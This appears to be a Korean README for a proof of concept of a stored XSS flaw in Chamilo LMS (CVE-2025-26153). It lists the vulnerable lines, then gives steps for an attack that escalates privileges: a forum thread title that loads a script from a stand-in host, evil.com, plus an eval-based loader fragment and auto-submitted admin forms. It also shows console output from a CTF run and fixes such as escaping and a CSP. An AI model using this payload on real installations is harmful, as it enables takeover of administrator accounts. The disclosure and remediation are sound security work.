
Chamilo-LMS (v2.0) CVE-2025-26153
이 저장소는 Chamilo LMS에서 저장된 크로스 사이트 스크립팅(XSS) 취약점을 증명하는 개념 증명(PoC)으로, 일반 사용자에서 플랫폼 관리자로 권한 상승을 달성하는 데 악용될 수 있습니다. 이 취약점은 색인되어 있으며 패치되었습니다: https://nvd.nist.gov/vuln/detail/CVE-2025-26153
취약한 코드 위치:
/public/main/forum/forumqualify.php - 277번째 줄
$form->addLabel(get_lang('Thread'), $threadEntity->getTitle());
/public/main/forum/viewforum.php - 369번째 줄
.$thread->getTitle().'</a>';
더 있습니다!
근본 원인:
1단계: 대상 사용자 정보 수집
소셜 네트워크 -> 개인 데이터로 이동user_info를 열고 다음 정보를 기록:
2단계: 맞춤형 페이로드 생성
python generate_payload.py
payload.js 파일을 생성3단계: 페이로드를 외부에 호스팅
payload.js를 공개 호스팅 서비스에 업로드:
4단계: 소셜 그룹 액세스
소셜 네트워크 -> 소셜 그룹으로 이동5단계: 소셜 그룹 가입 또는 생성
6단계: XSS 페이로드 배포
eval(x.responseText);x.send()">
YOUR-HOST-SERVER를 실제 호스팅 URL로 교체7단계: 권한 상승 트리거
8단계: 권한 상승 확인
generate_payload.py 스크립트는 권한 상승 공격을 맞춤 설정할 수 있습니다:
입력 매개변수:
1. 공격자가 악성 포럼 스레드 생성
└── Title: <script src=//evil.com/payload.js></script>
2. 관리자 사용자가 포럼을 탐색하고 스레드 봄
└── 브라우저가 외부 JavaScript를 로드하고 실행
3. 페이로드가 권한 상승 데이터를 포함한 숨겨진 폼 생성
└── 특정 사용자 ID를 관리자로 승격 대상 지정
4. CSRF 공격을 통해 폼이 자동 제출됨
└── 관리자의 세션 쿠키를 자동으로 사용
5. 대상 사용자가 플랫폼 관리자가 됨
└── 공격자가 전체 플랫폼 제어권 획득
입력 정제
// Before
$threadEntity->getTitle()
// After
htmlspecialchars($threadEntity->getTitle(), ENT_QUOTES, 'UTF-8')
출력 인코딩
<!-- Before -->
{{ thread.title }}
<!-- After -->
{{ thread.title|escape }}
콘텐츠 보안 정책
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
다음 사항 모니터링:
중요 법적 고지
이 개념 증명은 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
발견 및 분석: US Cyber Combine
테스트 환경: USCG CTF 환경
성공적인 공격의 콘솔 출력:
XSS Payload loaded successfully!
Target User ID: 9
Current location: http://cve-hunting.ctf.uscybergames.com:8000/resources/usergroups/show/5
Form created with action: http://cve-hunting.ctf.uscybergames.com:8000/main/admin/user_edit.php?user_id=9
Submitting privilege escalation form for user_id 9
Form has 66 fields
Form submission triggered!
Fetch response status: 200